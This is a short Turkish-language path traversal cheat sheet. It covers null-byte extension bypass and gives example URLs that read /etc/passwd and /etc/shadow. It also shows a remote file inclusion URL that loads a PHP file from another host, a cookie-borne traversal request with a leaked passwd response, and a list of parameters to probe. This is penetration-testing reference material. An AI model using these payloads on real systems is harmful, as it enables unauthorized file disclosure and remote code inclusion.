Path traversal

Birçok işletim sisteminde, dosya adını sonlandırmak için %00 null bayt enjekte edilebilir. Örneğin, aşağıdaki gibi bir parametre gönderebiliriz:

?file=secret.doc%00.pdf

Web uygulaması ".pdf" ile biten bir uzantı görür, işletim sistemi ".doc" ile biten bir dosya görür.

Örnek 1:

http://some_site.com.br/../../../../etc/shadow

http://some_site.com.br/get-files?file=/etc/passwd

Örnek 2:

http://some_site.com.br/some-page?page=http://other-site.com.br/other-page.htm/malicius-code.php

Örnek 3:

Cookie için bir template'den veri çekiyor.

GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd

Dönen yanıt:

HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache

root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh
daemon:*:1:1::/tmp:
phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh

Tespit Edebilecek Parametreler:

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

Last updated